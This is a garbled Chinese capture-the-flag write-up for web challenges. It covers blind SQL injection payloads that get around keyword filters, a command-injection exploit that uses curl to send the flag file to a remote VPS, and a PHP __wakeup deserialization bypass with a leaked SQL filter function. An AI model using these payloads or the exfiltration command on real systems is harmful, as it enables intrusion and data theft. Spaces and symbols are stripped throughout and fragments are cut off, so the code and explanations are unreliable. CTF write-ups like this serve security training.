
作者:08067
预估稿费:300RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linweiprintchr(s)
ifsinrange(97,123):
ifs%2==0:
s=s-i
ifsnotinrange(97,123):
t=97-s
t=123-t
key=key+chr(t)
else:
key=key+chr(s)
else:
s=s+i
ifsnotinrange(97,123):
t=s-122+96
key=key+chr(t)
else:
key=key+chr(s)
else:
、*、union、like、regexp、and、or、|、--、、%0a、%0b、%0c、%0d等,需要想办法用其他操作符连接注入语句和闭合’。
mysql操作符参考:
几个可用的poc:
1
uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1passwd=dddd
1
uname=12'%(ascii(mid((passwd)from(1)))=99)%'1passwd=dddd
1
uname=12'%(ascii(mid((passwd)from(1)))=99)^'1passwd=dddd
1
uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))32)-'0passwd=1
来到后台,可以执行命令,但是对反弹shell的一些关键字做了过滤,对空格也做了过滤,只能通过cat读取flag,没又回显,然后打到用远程vps的日志上面
exp:
curl$IFS\vps:1234/`cat$IFS\../../flag`


web200-2
这道题主要是考察了php底层wakeup的一个bug,
这道题根据tips:编辑器,可以考虑到.bak文件泄露
通过发现了,
最后找到了
我们就获得了整道题的代码

我们可以看见了这里通过cookie的登陆
/

其他过滤代码在该文件都可以得到
addslashes_deep()是无法绕过的,我们就只能绕过wakeup
根据那个bug的描述,我们直接进入__destruct(),这里我们取出了$this-name
$this-name是base64decode后,然后反序列化得到的,不用考虑waf等东西
我们看了这里只有一个Checksql($sql)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
//sql过滤
staticfunctionCheckSql($db_string,$querytype='select')
{
$clean='';
$error='';
$old_pos=0;
$pos=-1;
if($querytype=='select')
{
$notallow1="[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i",$db_string))
{
exit("Error");
}
}
//完整的SQL检查
while(TRUE)
{
$pos=strpos($db_string,'\'',$pos+1);
if($pos===FALSE)
{
break;
}
$clean.=substr($db_string,$old_pos,$pos-$old_pos);
while(TRUE)
{
$pos1=strpos($db_string,'\'',$pos+1);
$pos2=strpos($db_string,'\\',$pos+1);
if($pos1===FALSE)
{
break;
}
elseif($pos2==FALSE||$pos2$pos1)
{
$pos=$pos1;
break;
}
$pos=$pos2+1;
}
$clean.='$s
免责声明:本文章如果文章侵权,请联系我们处理,本站仅提供信息存储空间服务如因作品内容、版权和其他问题请于本站联系